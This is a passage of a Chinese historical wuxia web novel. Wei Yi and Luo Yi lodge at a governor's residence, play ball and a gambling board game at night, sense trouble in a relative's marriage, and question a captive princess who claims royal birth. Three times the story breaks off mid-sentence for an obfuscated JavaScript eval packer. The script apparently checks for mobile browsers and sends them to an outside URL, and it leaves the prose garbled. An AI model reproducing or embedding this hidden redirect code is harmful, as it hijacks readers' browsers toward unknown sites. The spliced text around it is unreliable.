五年前,柳卞有意把她嫁给罗晏,不过她和罗晏完全没两情相悦的感觉,二人称兄道弟来着,不可能成亲。 “我们可以住进来吧,还有一些人在外面等着。”韦祎问。 “当然,我有急事,要出门一趟,你自己弄。”柳爚招呼来一个府内官,“这是我弟弟,你听他安排。” 府内官恭敬应喏。 “夫人,还不走啊?”一个府兵跑进来,催促,“快到时候了。” “我出门去了啊,晚上我和灵均应该可以回来,到时候再说!”柳爚找另一个府内官要来了自己的官帽,夹着帽子,连脚凳都不用,飞快跳上车,马车疾驰而去。 “烦请安排几间客房,把后门打开,让我的人进来。” “是,韦将军。”府内官很利索,安排好一切。 “栾夫人也是官员?”罗易问。 “好像是。”韦祎记得不是特别清楚,这几年的信件里,柳爚偶有提及自己也公务繁忙,并没有细说自己领了什么官。 “看服色,也许是华阳郡此地的妇孺御史。” 是有这么一种官职,起因是齐国开国始皇帝思及各类诰命夫人只管家宅内事,竟然还白拿朝廷俸禄,觉得自己的俸禄发得太冤。 于是,发明了妇孺御史这官职,由各地方大员的夫人或母亲兼任,协管治下与妇女儿童有关的政令,查办案件,以整民风。 这政策从来没有真的推行下去。大多数所谓的“妇孺御史”只是顶了个名称罢了,偶尔主持几个典礼,协办女儿节庙会,就算是完成了使命。 极少有地方妇孺御史官真的做事。 “今天见到特例了。”罗易笑,“你为何皱眉?” 罗易知道,韦祎挺奇特的,他竟然完全不会对女性“抛头露面”反感,此时听见姐姐做官,竟然神情疑虑,很奇怪。 “他们夫妻两个这么积极,怪不得一直没有升迁。”韦祎不皱眉了,这事儿自己管不着。 柳卞把家族的势力布局控制得极为谨慎。 大女儿招了状元郎做入赘女婿,时任礼部侍郎。二女婿正在刑部,三女婿是皇家密探,一个妹妹是贵妃,生了皇子,把持内宫一应事务。另一个妹妹的丈夫是礼夷院实质上的最高长官。 还有个外甥正在军中,且与名震大齐的魏家军是姻亲。 此等布局,皇帝当然会不舒服,在柳卞看来,已经太过头了。 所以,当年打算把四女儿下嫁给一位彻头彻尾的商人,女婿不再入朝,自降势力范围。 没成功啊,四女儿还是嫁了一位进士出身的有志青年。 安全起见,柳卞就用种种手段让刚刚中了进士,前程一片大好的栾凤赋闲,赋闲一年多,淡出了舆论中心。 在栾凤闲到手痒的这一年里,韦祎参与了南征稞国之战,得益于承亲王脑子抽抽搞出来的蠢操作,某种程度上完成了扬名四海的成就。 栾凤和柳爚闲不住,京城不能施展抱负,去外地总行吧?要不老爹您让我们去新打下来乱成一锅粥谁也不想去的稞州也成啊! “不成!你表弟把稞州打下来,你们俩去管?不要命了!”柳卞严厉反对,“稞州就算再乱,十年之内我们碰不得!” “不是我打的,是承王……”韦祎在旁边提醒。 “承王都没了,现在稞国之战回来的只有你,不是你是谁?”柳卞是从权势角度看问题。 不能去稞州,那去别的地方吧,华阳郡是中州腹地,体系成熟,历任郡守皆是守成之辈,把四女儿和女婿扔到这个地方去,既不会出什么大错大乱子,也不可能有什么大成就。 可有志青年就是有志青年,体系再成熟的地方,想要励精图治的人都可以励精图治。 四年多,按照政绩该升迁了,柳卞按住他们不让挪窝。 在柳卞的布局当中,韦祎与栾凤是同一批次,因为这几年韦祎实在颓废不显眼,柳卞才肯放任栾凤自由发挥。 这不,韦祎最近又被皇帝给想起来了,兴起重用。为保持低调,栾凤一定不可以升官。 “栾大人的字是灵均。”罗易感叹,“视屈子为榜样?” “是的。” 从小就讨厌屈原他老人家的韦祎,认识了一位给自己取字为“灵均”的人,看着就是个酸腐文人,竟然还想娶表姐!怎么可能不找他的麻烦? 那会儿韦祎是金吾卫里非常出挑的少年英雄,远没有现在这般“无心争斗”。 二人友情的起点就是韦祎找栾凤的麻烦。 栾凤不是酸腐文人,也不是伪君子,思想先进,心怀天下,脚踏实地,责任心极强且不失幽默,长相也不错,不肥胖也不秃头,轻松挤进了韦祎极为狭窄的好友列表当中。 韦祎偶有反思,为何自己的好友列表如此狭窄,难不成自己竟然是个不好相处的人? “不会,你一定特别好相处。”罗晏曾说。 “何以见得?” “当然是拜我所赐,你连我都能忍,怎么可能不好相处呢?”罗晏分析,“是不是特别有道理。” “你的自我定位倒是挺准确的。” 罗易也这么说,“你连我堂哥都能忍,应该是个好脾气的人。” 有几个人能容忍被好友当作人物原型收进话本里扮演恶心猥琐的反派? 可罗晏却是个朋友非常多的人。 “但他也不是把所有朋友都画进话本里面。”罗易决定帮堂哥说话。 “哦?我还应该感到荣幸?” “情比金坚啊,芜夙姑娘到现在都坚持认为你和我堂哥是断袖呢。” 众人安顿好,芜夙也有了合适的地方住——郡守府大牢。 住单间,铁门铁窗铁锁链,外头放一队衙役府兵,外加韦祎的校尉们轮班,不用再吃降糖药丸子。 “对了,银子拿去,吃食上不要亏待她。”韦祎叮嘱校尉们。让芜夙连续头晕眼花恶心反胃好几天,着实过意不去。 “我也要出门办正事去了。”罗易说。 到了华阳郡就是西部,罗易要开始替罗家少主巡视西部镖局。 “我陪你去?” “算了吧,你陪我去还要把平焕带上,让他歇一歇吧,你也该睡一觉了。我和褚先生、符怜一起去,玉芝另有事情要做。” “噢,褚先生。”韦祎装作恍然大悟的样子,“他是不是坏人来着?我可真放心你和他一起出门去啊。” “别阴阳怪气的,光天白日,谅他也不会下手。” “钱氿!”韦祎叫人,“你陪她们一同出门办事去,回头让罗老板给你发份工钱。” “好咧!有钱拿当然要去。” “好啊子隽,都没提亲就把我的钱做了主。” “谁要和你提亲,我要留着性命。” 好像是同屋留宿的一晚上让事情变得有点微妙。之后,仍旧没有正式交往,但要好程度提升了一大截,可以开玩笑了! 办正事的人都走了,韦祎暂时没有正事,沐浴、更衣、睡觉! 把这些日子自己实在是洗得不太干净的衣裳交给了郡守府的洗衣工,有权有势当然有好处,有专业人士帮忙把衣服洗得干干净净。 罗易和秦琼她们也存在衣服洗不干净的问题,韦祎找来两个女洗衣工,让她们把这二位的脏衣裳分拣出来,这是罗易出门前分派给韦祎的工作。 当然,还有云攸纾的衣裳,因为他每天早训练要摔倒无数次,衣裳脏得最严重,最近都演变成校尉帮他洗衣裳了。 “就是因为你们总叫我训练,我才会摔倒流汗,衣服才会脏,你们当然应该帮我洗。”歪理第一名。 为了不让郡守府的杂工们恨死这群客人,韦祎早早奉上丰厚的报酬。 下午,韦祎在郡守府舒适宽敞的客房睡了一个时辰,抓紧时间做了成堆的噩梦。当韦祎在梦里眼睁睁看着芜夙化身成了一头长约二十丈,高约三丈的巨大蛇形怪物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665856|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,张开血盆大口,把云攸纾连带房子一口吞下了肚,无奈地睁开了眼,受不了,不睡了。 睡不着,估计晚上也很难睡着了,呵,我睡不着别人也别想舒服。 云攸纾在隔壁呼呼大睡,罗易一干人没回来,校尉们好不容易可以休息,放下行李,相约去郡城里的大浴场松松筋骨。 “不准饮酒,不准去赌场,不准……算了,可以去勾栏,注意……个人卫生安全,子夜前必须回来。”韦祎幽幽出现在校尉们的去路上。 “您就放心吧,我们也不是来军中混日子的,该做什么不做什么我们都有数。” 韦祎根本不信任地换上了假笑:“张丙乙,你负责点人,子夜前不找我报到拿你是问。” “得令!”张丙乙很兴奋,这是中郎将认可他的表现!今天一定好好管这群人! “平焕!既然下午休息,这儿又有人帮你洗衣裳,加练一个时辰。”先去搅了校尉们的“雅兴”,紧接着去搅云攸纾。 “你疯了吧韦子隽!”云攸纾自知睡不成了,一边骂一边跳起来,“我今天一定要打到你!” “呵,这样吧,你打到我就可以提前回去休息,怎么样?” 当然不可能成功。 将近晚饭时分,韦祎把云攸纾给放了。 一个府兵回来报信,说郡守大人和夫人去临近的乡下查办案子去了,回不来,让韦将军等自便。 “什么案子啊?” “两件案子,一是有本城的富户打死了一位老农,二是近来有几户人家丢了孩子。” “噢,知道了,转告你们大人和夫人,公事为重,我们有片瓦遮头即可。” 府内官来请示晚饭要摆席。 罗易早说了她们晚饭回不来,估计云攸纾不会想和我一起吃饭,韦祎盘算。 “不必,这只剩下我和平公子,随便做点什么送到房里吧。” 府内官乐得清闲,自去厨下吩咐了二冷碟四小炒,一碗肉糜是主菜,再配一钵羊杂汤,分别送到韦祎和云攸纾的房中。 郡守府的吃食,当然要比平日在山野客栈更好。 晚饭过后好一阵子,罗易才回来,一身酒气,人却没醉。 “我的衣裳,你让人送去洗了?” “已经送去了,太多了,要两、三天才能还回来。她们给你拿来两套新衣裳换洗,说是小爚姐新做了没穿过的。”韦祎答。 展开一件秋香色绣荔枝的秋装,“唔,这是好衣裳,我该当面谢过夫人。” “不急,都没回来。” “你还有什么事情吗,若是没有,我该洗漱就寝了。”罗易看了一眼坐在自己屋里的韦祎,他没有要出去的意思,继续坐定不动。 “还早呢,这就睡了多无趣,我们……下棋如何?”韦祎说。 罗易当着屋内“不速之客”的面,坐在镜子前拔掉发簪,解开发髻重新编成结实又利落的辫子。褪下暖玉镯,摘下耳坠和项链,用温水打湿布巾,擦掉脸上的胭脂和眉黛。 她下午要出门去见人,特意上了妆戴上首饰。 “不速之客”已经把头转向了墙壁,其实罗易也不在乎他有没有转过去,解开腰带脱了长外套,把外面的裙子也解了,换成一件窄袖家常短衫配裤子,“下棋?怎么想要下棋呢?我不下棋的,费脑子。” 言下之意:有什么事情就直说,不要拐弯。 韦祎的目的是搅她睡不成觉,心中暗道:“不下棋好啊,我也不喜欢下棋。” “你还不肯走了,那我们……”罗易环视自己这间客房,在堂厅的另一边看见了鸡毛毽子,“那我们踢毽子。” “好,那就踢毽子。” 郡守府不缺灯油,夜里回廊上和院子里都点灯笼,防止暗处藏着什么人意图为非作歹。 灯火通明方便二人在夜里踢毽子。 韦祎不愁踢毽子,但罗易的踢毽子能力与她的经商能力成反比。 “你是怎么想到要踢毽子的?”韦祎把毽子瞄准了罗易的脚踢过去,罗易仍旧踢不中,一回合都踢不成。 “我四五岁的时候玩得可好了,怎么年纪大了反而不成?” “你二十年没踢过了,怎么可能踢得好!” “我才二十三。”罗易纠正。 64. 行商棋 韦祎抓住了毽子,“别踢了,我们……打木板球吧。” 罗易那屋子可能住过什么体育健将,堂厅后面,体育器材应有尽有,除此之外还有围棋象棋行商棋等众多棋类,选项极多。 “也行。”罗易觉得踢不到毽子有点没面子,木板球她了解的更多。“那就打球。” 一人手持一个椭圆形带手柄的硬木球拍,球是实心的皮子球,比拳头稍小,弹性非常好,手持球拍的两个人相隔八步远站定,轮番击打此球,一方接不到球时另一方记一分。 罗易的木板球比她的踢毽子能力强不少,韦祎稍微放水,二人就可以打得有来有往。 木板球的赛制着实冗长,只有一方高出另一方二十分的时候,才算胜利,打满场可谓是“大战三百回合”。 正和韦祎的意,剧烈运动这么长时间,没人能立刻睡着。 打到差一个时辰子夜,院子旁边的回廊台阶上出现了柳爚、栾凤夫妇,他俩刚回来,夜已经深了,不麻烦厨师去开火做正餐,侍女煮了两碗宽面条,用大海碗装着,盛高汤打个鸡蛋花做汤头,烫几片绿莹莹的菜叶子放在碗边,每碗里再切一大块煮得耙软酥嫩的酱卤肉,点缀一勺油泼辣子,坐在台阶上,一边看韦祎和罗易打板球,一边吸面条。 罗易趁着韦祎跳上房捡球的时间,跟这对郡守夫妇打了个招呼。 “不必客气,你们玩着,我们吃着。”夫妇二人表示。 “这个球算你输的,把球往天上打,谁接得着?”韦祎抛一抛好不容易在瓦片里找出来的球,罗易输球就该自己发球了。 “就当是我让你一个。”罗易不甘示弱。 等柳爚栾凤夫妇吃完了面条,罗易和韦祎也终于结束打了接近一个时辰的球局。 人变多了,“明天十九,是休沐日,灵均,爚姐也来一把?”韦祎提议,大家都别想睡。 “这个我是玩不成,最近写字多了,伤了肩膀。”栾凤摇头。 因为是朋友,也是亲人,四年未见,用不着寒暄什么。 “我记着这屋有行商棋,正好四个人,开一盘。”柳爚非常想和罗易多接触一会儿,看看这姑娘何许人也,准弟媳啊! 行商棋是多人一起玩,存在郡守府这套棋制作精良,是个大漆盒子,光是盒子就造价不菲,专门用来装行商棋。 里头有格子似迷宫的大棋盘,一人拿一个颜色的人形棋,用同色的骰子,旁边一摞木卡片,一大堆筹码。筹码分作四等份“本金”,轮流掷骰子,按照点数向前走,若落脚处棋盘格子是白色则下一人掷骰子,若棋盘格子是红色则摸牌一张。 遭遇强盗——损失三成财产,则扣除三成的筹码归到空盘里;乘车前进——前行三格;请客做东——给其他玩家每人一张筹码;大赚特赚——空盘中所有筹码归此玩家……牌令花样百出,不胜枚举。 所有人走完一整圈棋盘,谁剩余“财产”筹码最多,谁获胜,按钱财分名次。 纯靠运气玩,不费脑子,韦祎和罗易欣然接受。 众人围桌坐定,先玩了一把熟悉熟悉。 罗易大获全胜,不仅获得的“钱财”最多,而且第一个到达了终点。 “我们再来!”柳爚撸袖子提议,“单玩筹码多没意思,押几两银子当个彩头!每人出十两,一局输二两,非要让谁先输光今晚才算完。”说罢,自己先从钱袋里摸出了十两的银锭子响当当放在桌面上。 柳家姐妹在家里时,常常摆牌局去赢柳卞的彩头,摸银子来押,轻车熟路。 十两银子够京城市井人家一个月花销,偏远的农户花得更少,有十两银子,一整年都不用愁了。但对这群人来说,才十两,只是拿来玩玩的小钱。 “你在家里揣着这么大块银子,不嫌沉?”韦祎惊了,他袖子里有些碎银子,留着当暗器用的,于是回到自己的房间拿来两个五两的银锭子,押上。 他们在罗易的房里玩,罗易转身就在妆台匣子里抓了一把银豆子堆在桌面上。 栾凤身上没钱,出门去书房里拿了十两银子,返回来玩。 玩的样子不算斯文,袖子撸起来,还踩着凳子,掷骰子的劲儿很有草莽风范。 叫侍女去拿来了一坛酒,除了韦祎行军途中不能喝,罗易、柳爚、栾凤都拿了大盅喝上几杯,韦祎去叫了一壶甜凉茶倒进自己的酒盅里应景。 “该我了,”栾凤拿起骰子掷在棋盘上,是个三点,代表栾凤的红色小棋往前走了三步,停在红格子上,摸牌,摸到个“散财保命:后退十步或损失一成筹码”,栾凤如今落在最后面,再后退可赶不上了,只好拿出十分之一的筹码放在了空盘里。 下个就是韦祎,走一格,摸牌:“以静制动——轮空两回合。” 放屁吧以静制动,轮空两回合说不定都有人要到达终点了,简直是最差的一张牌! 罗易笑出声:“没有,最差的牌是:按兵不动——轮空五回合,直接输掉!” 接下来是罗易,站起来掷骰子。 敲门声响起,自然应该“轮空两回合”的韦祎去开门。 张丙乙站在门前:“报告!所有人都已经归队!” 才想起来这回事,看一看月亮,应该正值子夜,“噢,好,你也回去休息吧。” 屋里亮着灯,张丙乙不用故意去看就能看见里面的景象,迟疑着问:“中郎将,您在赌钱喝酒吗?” 韦祎也回头看了一眼,棋盘、骰子、银子、酒坛子、三个踩着凳子浑身酒气的人,百口莫辩。但他也确实在赌钱啊! “全银子局,玩得还挺大。”张丙乙小声补充。 “其实是他们三个在玩,我旁观。”韦祎扶额。 屋内三人一阵拍桌爆笑。 张丙乙丝毫不信:“原来是这样啊,那空着的椅子上是谁啊?” “别看了,你什么都没看见,记住了吗?”韦祎色厉内荏。 “得令!末将一定不告诉别人!”张丙乙溜了,韦祎还追在后面:“我没喝酒!” 下午刚叮嘱了所有校尉不准去喝酒赌钱,当晚就被抓自己赌钱,韦祎觉得很憋气,“我说的是不让去赌场,我确实没去赌场!” “好了好了,别气了,也就只有你才会在乎这种事,将官以上,有几个遵规守纪的?”罗易安慰他。 “正是,将官犯纪律谁敢管?你容他们管你,才有这么一回事。”栾凤也笑。 韦祎觉得这话罗易说还成,从栾凤口中说出来怎么有点怪,刚想问,罗易拍韦祎一把:“栾大人投了个白格子,不抽牌,没钱拿,还捏着骰子呢?子隽轮空两回合结束,该掷骰子啦。” “对啊,我成了最后一名了,至少要投个六点才成。”上个话题混过去了,众人继续玩牌。 总体来说,是栾凤和韦祎输得多。 “别喝那么多,明天虽然是休沐日,下午还是要带上法曹去案发现场再看看。”栾凤多喝了几杯,有点红脸,柳爚状若无意地出声提醒。 栾凤放下了杯子:“今天子隽带了新夫人来,好久不见了,多喝了点。” “说胡话呢,那是罗姑娘。”柳爚往罗易这看过去,“逸希别介意,他这是喝多了。” “无妨,承蒙栾大人和夫人玩得尽兴,我也不是面皮薄的人,一句玩笑罢了!”罗易笑盈盈。 他们两个怎么了?从前不是这样的。 “我只剩下二两银子,再过一会儿该出太阳了,就算是我输光,我熬不过你们,你们玩着,我回去睡了。”栾凤站了起来,剩下的二两银子也不记得拿,要出门去了。 柳爚坐着不动,罗易当然要站起来相送。 他哪根筋不对?韦祎跟着站了起来,想拦住他,是不是公事上不顺心,聊一聊也好帮忙。 罗易在桌子底下踩了他一脚。 看罗易,眼神发问:你踩我干嘛? 罗易先去门口把栾凤给送走了,才回来,眼神回答:别说话就对了。 桌上剩了三个人,重新坐定,“好久没凑齐人玩这棋子了,今天可算让我赢了点银子。” 她赢的银子都是韦祎和栾凤输给她的,罗易也赢了一点。 “现在,该聊聊你们两个了,你们是如何相识的?” 罗易把东海郡的事情讲得声情并茂。 当柳爚兴致勃勃去问有没有提亲、何时办酒席,罗易接着说:“只是朋友相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14687744|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处罢了,我们还没有那个意思。”噎到柳爚,“唔,逸希你这前因后果的逻辑与你们家少主有一拼。” 又问了罗易的生意,罗易的生意精彩多了,两位女中豪杰惺惺相惜。 韦祎终于插上话:“灵均是不是遇到什么疑难案子了,有些闷闷不乐。” “他的疑难不是案子上的疑难。”柳爚惊讶韦祎竟然看得出来,韦祎最近神经敏感得很,又有罗易在旁边,不像少年时那么迟钝。 “政务上有疑难?” 喔,小祎还是那个小祎,也不怎么敏感,柳爚想,不是案子上的疑难就是政务上的疑难,够单纯。 “好了,能有什么大事,今天玩得开心,不提那些坏事。”柳爚也要告辞出门,“你们歇息,我也回去睡觉了。” 罗易和韦祎送她到外面的院子中。 柳爚站在院中迟疑了一瞬间,转身向前面正堂的卧室走去。 跟着罗易回到了罗易的卧室,“怎么着,还熬夜不够?”罗易发觉身后还跟着一人,问他。 “我现在可清醒了。” “当然,你喝了提神醒脑的凉茶,一大壶。” 二人动手把桌上的东西收拾停当,有值夜班的侍女把酒坛子酒盅都拿走,擦了桌子。 “你刚才为何阻止我问灵均?” 打断第一次韦祎也许不觉得,打断两次还察觉不出是傻子。 罗易在刷牙,嘴里含着漱口水咕嘟咕嘟,一边铺床,漱口洗脸后,迅速地脱了外衫外裤窜进被窝里,没躺下,坐着把自己裹成一个三角粽子,只露出脑袋。 “哎,喝酒的时候觉得身上暖,一旦停杯就立刻觉得寒气上涌。”罗易缩在被子里感叹。 “你是累到了。”韦祎说。 “你知道啊,你知道还要拉着我熬夜?” 韦祎立刻顾左右而言他。 不知怎么的,因为关系有进展,韦祎现在不觉得靠近罗易的床铺不礼貌,罗易钻进被窝里,韦祎也没有要离开房间的自觉,坐在了罗易床前的圆凳上,“我去给你要个汤婆子?” “劳驾。” 罗易欣然领受。 有侍女在,不用韦祎干活,去门口招呼一声而已,一盏茶的时间就送来。 等把汤婆子递给罗易,罗易神情古怪地从被子里伸出手接过来:“子隽,你还真是正人君子啊。” “啊?” “嗯?” “说正事。” 知道罗易指的是什么,都没有交往呢,韦祎当然没那个意思。 “我送栾大人出去,他往东边书房去了,刚送夫人出去,她却回了前边的正房。”罗易说,“夫妻两个不睡一间房。” 而且,据罗易的观察,这二人刚才坐在台阶上一起吃面条时,侍女还给上了四碟小菜,都是腌鹅脯、蒸瑶柱、红姜这些厨下现成的佐餐菜。 栾凤用筷子夹过的碟子,柳爚就不会去碰,反之亦然,坐下时甚至不靠肩,中间隔着好大一个空。不是出问题了是什么? “这可不是你描述的神仙眷侣。” “喔,那确实是出了问题,希望问题别太大。”都发展到了表面上风平浪静甚至可以一起办案、待客、打牌、吃面条,实际上连对方动过的菜肴都不肯碰,问题小不,据韦祎所知,柳爚绝对不是什么使小性子的女人,栾凤也不是心胸狭隘之辈,一旦出事就是出大事。 “你,真的身体康健?”罗易突然又问。 这话题还过不去了是怎么回事? “康健。” 罗易挑眉,韦祎觉得自己应该解释一番,不然标签就上身了。 “与大部分内功流派不太一样,我师门这一派内力的第一宗旨不是对外攻击而是对内自控,耳聪目明,控制体温呼吸和血流速度,逼真地装死。所以……” “装死。”罗易重复,她懂韦祎的意思了,因为内功修炼流派的原因,韦祎很自然地不会因为孤男寡女就觉得莫名旖旎。 “你看,我现在就没有在吸气,一会儿体温就下降,脸色会发青,我给你表演一下。” “不用!怪吓人的!” 什么门派会教徒弟们学内功为了装死。 65. 言凿凿 这个不知道叫什么名字的门派,罗易认识两个人,罗晏和韦祎,明显的技能分别是:逃跑、画艳图、叫花鸡、点穴阉人术、暗器、偷听、熬夜、装死,以及“兴致不佳”。 很特别。 但韦祎对装死很有兴致,“神奇吧,你要不要学,我教你。”这样就有人和自己一起夜里没法睡觉了。 “不学,没时间,我要睡了,你想待着就待着。”罗易倒头躺好,“找时间,你单独和栾夫人谈一谈,今天她当着我这个外人的面不好说。” “好。” 云攸纾夜里就听见了韦祎在院子里闹腾,心想,韦祎早上一定起不来,也许睡懒觉的机会到了。谁知道韦祎精神百倍地熬到了清晨,比平时还要早地把云攸纾拎起来进行了早锻炼。 吃了早饭,韦祎才回房去洗漱睡觉,睡到了晚饭前。 梦见了栾凤和外祖母在院子里打架。头发银白,手持一杆老君杖的外祖母把栾凤打得头破血流,肠子露出来一大截,浑身是血,斜刺里冲出来岳母大人,像她当年一拳开熊脑一样,给了栾凤一拳,血溅了韦祎一脸,韦祎去摸脸,醒了。 噩梦越来越恐怖。 梦里当然是韦祎的外祖母和韦祎的岳母大人,韦祎根本不认识栾凤的外祖母。 为什么会梦见外祖母? 韦祎对外祖母没有什么深刻的印象,韦祎小时候外祖母常在各地云游,一年有大半年在外地。韦祎去蓬村岛期间,外祖母病故了,十五岁回到家,孝期都过去了好多年,没人提起这件事。 若不是偶然看见柳家的祠堂里有外祖母的牌位,还以为外祖母云游未归。 柳卞、柳不寒和柳红酥的娘亲,当然是个闻名朝野的狠人。 史书上记载了一位了不得的柳家先贤,名为柳虞,出身苏州,弱冠之年即连中三元,解元、会元、状元,身披宫锦,得授官职,为人风雅,仁慈明理,手段果敢,常常语出惊人,朝野上下风头无两,而立之年当上了大理寺卿,九卿中最年轻的一位。 三十五岁时,柳虞失踪,失踪至今也没人去找他。 外祖母叫柳凿,史书记载她是柳虞的亲妹子。 虞是“尔虞我诈”的虞,凿是“言之凿凿”的凿。 柳虞一失踪,柳凿就出现了,招了一个闲散侯爷家的次子为上门女婿,她自己在太学教女学生,赚取俸禄。 育有一子二女,都跟她姓柳。 大家心知肚明,柳凿就是柳虞。 不然,柳虞是高官,失踪了竟然没人去找他,太荒唐了。韦祎也听过,有些见识过柳虞风采的老人家说,柳家至今也没有再出一个能比肩柳虞的风流人物,即使是柳卞和柳红酥身居高位,亦难望其母之项背,柳不寒就更莫名其妙了。 柳卞自己感叹,把他们兄妹三个合成一个,说不定可以和母亲比一比。他自己谋虑过重,才智中平,柳不寒才智上佳,放荡不羁,柳红酥聪慧太甚,志向不足。 梦里的外祖母太吓人了。还有岳母大人,韦祎在现实中看到岳母和岳父都要觉得可怕,梦里更可怕了,意识里清楚那是岳母,梦里她长了一张肖丰的脸! “这个时间才醒,今晚不可能睡得着。”以后还是老老实实打坐过夜,等真的安顿下来了,再喝几剂安神汤。刚刚向罗易炫耀了内力的妙用,能控制耳目、控制血流,其实控制不了脑子想做噩梦,至少韦祎这个层次还控制不了,噩梦连篇。 刚才,钱氿在郡守府的大牢里巡查,给看守芜夙的人交待几句。 “死断袖!你过来!”芜夙在监房里看见个背影,以为是韦祎。 “芜夙姑娘,何事呀?” 为了恶心芜夙,钱氿尖着嗓子捏了个兰花指。 “是你这个死断袖啊,我还以为是你们那个当官的死断袖。”芜夙撇嘴。 “你怎么看谁都是断袖?”钱氿絮叨起来:“断袖就断袖,把死字给去了也成啊,断袖又没吃你家粮食。” “叫你们那个当官的死断袖过来,我有话对他说。” 在牢里待了这么长时间,芜夙心里不踏实,若是真的被这几个死断袖送到了密探那里,就没有人会听她说话了。 芜夙坚持认为,在这一行人里,韦祎、钱氿和朱愈都是断袖,说话吞吞吐吐的是断袖,说话尖酸刻薄又注重打扮的也是短袖,没有男子气概! 钱氿去找韦祎说:“她可能认为身形不够壮实的男人都是断袖。” “我也觉得玉芝是断袖。”韦祎小声说。 “如果您判断朱公子是断袖的话,我有必要怀疑您判断我也是。” “嗯?”韦祎心想:我只知道我不是,而且有证据。 “不过我不在乎。” 韦祎带着晚饭去看望芜夙。 “你为什么还没有把我交给你们齐国肮脏的血滴子?” 大部分密探也没有很肮脏,他们只是抓间谍抓恐怖分子,手段确有些狠辣不近人情,因为对付的都是重点坏蛋。 毕竟韦祎也差点成为了密探,三表姐夫则是真正的密探,“什么血滴子,没有那么糟糕。” “我猜你想见我,不是为了赶快被移交给你口中的肮脏血滴子。” “哼。” “你有什么要交代的?放了你是不可能的,别以为我会把你送回西域去。” “我不是间谍,也无意伤害你们齐国人。” “是吗?我怎么记得你在东海郡害了一位大齐将官,前些日子还要绑架百姓?” “说到这就有趣了,你一定是想要放了你那个呆头鹅属下吧!若是你把我交给了密探,我一定告诉他们是你放走了那个叛国的呆头鹅。” “喔,那又如何?”韦祎叹气,这姑娘怎么不威胁别人就不会说话呢?“你有话好好说,这样吧,我先说,你的武艺技巧确实不错,但是行事风格完全不像个密探,年纪又这么小,你们西域不至于派遣一个小女孩来齐国送死。” “年纪小怎么了,总比你们东齐国这些豆芽菜死断袖将领更好!” 她就这样,说话必骂人,什么诡异的硬汉作风? “你姓芜,你们西域没有口天吴这个姓氏,那就只能是荒芜的芜字,而这个字,是荆芜国的国主姓氏。”韦祎说,“现在你能好好说话了吗?” “你又知道?” “京城内廷书库里面记载的,我相信绝大部分将领和官员都清楚。”荆芜国怎么说也是个有名的可耻国度,别说是官员知道这个国家的国主姓氏,全天下人都知道这个典故,“别告诉我你是个什么公主。” “我就是荆芜国的公主。” “唉呃!”韦祎哀叹,麻烦死的事情又落在自己手里了。 “而且我还是那个要与你们东齐国联姻的荆芜公主,你若是不信,我的印信和册宝就藏在华阳郡。” “所以呢?你告诉我你把印信藏在了哪里,我去把它给毁了,然后把你当作普通间谍交出去。”韦祎想的是,若是把这可怕的小姑娘给放了,让她带着她自己的印信赶快回西域去,一切行动就可以按照原定计划执行,那就皆大欢喜了。 怎么可能,她若是想要当和亲公主,就不会独自跑出来拦截出使队伍。 “我知道你不会这么做。”芜夙得意。 这位就是和云攸纾对应的——国家利益牺牲品,注定要被母国放弃的人质。上辈子一定是干了什么天大的坏事,这辈子才会托生成倒霉透顶的王室子弟。 “你莫不是你们国主随便找来封为公主的干女儿吧?公主怎么会有这么成熟的密探技巧?” “虽然我只见过国主一面,但他确实是我的父亲。立国不易,身为王室子弟也不能无所作为,才不会像你们东齐国一样,皇室子弟只知道享乐,手无缚鸡之力!” “你想如何?” 麻烦事在预料之中,但它真的发生的时候,韦祎还是觉得天空都灰暗了。 “我要看你们的国书,然后你放了我,我保证不再出现。” “不可能。是你被我抓了起来,你还要理直气壮的提条件?”韦祎说,“你说说看,你为何要来我这里捣乱,又为何要看国书?” 芜夙身负上等的武艺技巧,也许正是西域为打进齐国皇室准备的钉子,她自己却要阻止? “我生下来就被送到了影部,五岁开始受训成为我们荆芜国的武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730569|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士,要死是死在战场上,为我们荆芜国洗刷耻辱!而不是被小人之国西秦利用,送到你们东齐国,像金丝雀一样圈禁在皇室里面浑浑噩噩!我要找到你们结盟国书里面不利于我荆芜国的条款,禀告国主,不能让他被西秦国利用!” 真是蠢得可以。太可怜了,韦祎都不忍心告诉她。 荆芜国根本没得选,那点可怜的国力,西秦十天之内就能打下来。更何况,这位倒霉公主自幼受训练,不是作为战士而训练,是作为间谍或刺客而训练,正是为联姻准备的。 只是她还不像个公主,让她更像个公主的训练可能安排在了近期,可近期她逃跑了,没办法进行。 “需要验证身份,我会考虑你的事情的。” 从芜夙那要来了她储存印信的地址,是一家银号的保管箱。 